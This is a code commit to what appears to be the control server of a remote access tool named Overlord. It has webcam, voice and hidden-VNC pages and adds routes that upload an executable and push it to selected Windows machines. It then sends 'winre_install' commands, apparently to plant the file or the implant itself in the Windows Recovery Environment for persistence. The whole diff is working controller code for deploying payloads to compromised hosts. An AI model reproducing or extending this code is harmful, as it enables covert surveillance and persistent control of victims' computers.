WinRE
This commit is contained in:
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
@@ -40,6 +41,7 @@ type HttpDispatchDeps<
|
||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
||||
handleWinRERoutes: RouteHandlerWithServerDeps<TServer, TWinRE>;
|
||||
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
|
||||
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
|
||||
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
|
||||
@@ -51,6 +53,7 @@ type HttpDispatchDeps<
|
||||
notificationsConfig: TNotificationsConfig;
|
||||
build: TBuild;
|
||||
deploy: TDeploy;
|
||||
winre: TWinRE;
|
||||
fileDownload: TFileDownload;
|
||||
plugin: TPlugin;
|
||||
misc: TMisc;
|
||||
@@ -66,6 +69,7 @@ export function createHttpFetchHandler<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
@@ -79,6 +83,7 @@ export function createHttpFetchHandler<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
@@ -118,6 +123,9 @@ export function createHttpFetchHandler<
|
||||
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
|
||||
if (deployResponse) return deployResponse;
|
||||
|
||||
const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
|
||||
if (winreResponse) return winreResponse;
|
||||
|
||||
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
|
||||
if (fileDownloadResponse) return fileDownloadResponse;
|
||||
|
||||
|
||||
@@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
||||
{ path: "/webcam", file: "webcam.html" },
|
||||
{ path: "/hvnc", file: "hvnc.html" },
|
||||
{ path: "/voice", file: "voice.html" },
|
||||
{ path: "/winre", file: "winre.html" },
|
||||
];
|
||||
|
||||
/** Client-scoped pages accessed via path /:clientId/feature */
|
||||
|
||||
@@ -0,0 +1,294 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import { createUploadPull } from "./file-download-routes";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type WinREUpload = {
|
||||
id: string;
|
||||
path: string;
|
||||
name: string;
|
||||
size: number;
|
||||
};
|
||||
|
||||
type WinRERouteDeps = {
|
||||
WINRE_ROOT: string;
|
||||
winreUploads: Map<string, WinREUpload>;
|
||||
};
|
||||
|
||||
export async function handleWinRERoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: WinRERouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/winre")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/upload") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return new Response("Missing file", { status: 400 });
|
||||
}
|
||||
|
||||
const filename = path.basename(file.name || "upload.exe");
|
||||
const id = uuidv4();
|
||||
await fs.mkdir(deps.WINRE_ROOT, { recursive: true });
|
||||
const folder = path.join(deps.WINRE_ROOT, id);
|
||||
await fs.mkdir(folder, { recursive: true });
|
||||
const targetPath = path.join(folder, filename);
|
||||
const bytes = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(targetPath, bytes);
|
||||
|
||||
const entry: WinREUpload = {
|
||||
id,
|
||||
path: targetPath,
|
||||
name: filename,
|
||||
size: bytes.length,
|
||||
};
|
||||
deps.winreUploads.set(id, entry);
|
||||
|
||||
return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/install") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (!uploadId || clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const upload = deps.winreUploads.get(uploadId);
|
||||
if (!upload) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
|
||||
const destPath = `${destDir}\\${upload.name}`;
|
||||
|
||||
const pullId = createUploadPull({
|
||||
clientId,
|
||||
filePath: upload.path,
|
||||
fileName: upload.name,
|
||||
size: upload.size,
|
||||
});
|
||||
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload_http" as any,
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, url: pullUrl, total: upload.size },
|
||||
}),
|
||||
);
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_install",
|
||||
id: cmdId,
|
||||
payload: { filePath: destPath },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("winre_install");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.WINRE_INSTALL,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ uploadId, filePath: destPath }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/install-self") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_install",
|
||||
id: cmdId,
|
||||
payload: { useSelf: true },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("winre_install");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.WINRE_INSTALL,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ useSelf: true }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/uninstall") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_uninstall",
|
||||
id: cmdId,
|
||||
payload: {},
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("winre_uninstall");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.WINRE_UNINSTALL,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ clientId }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
Reference in New Issue
Block a user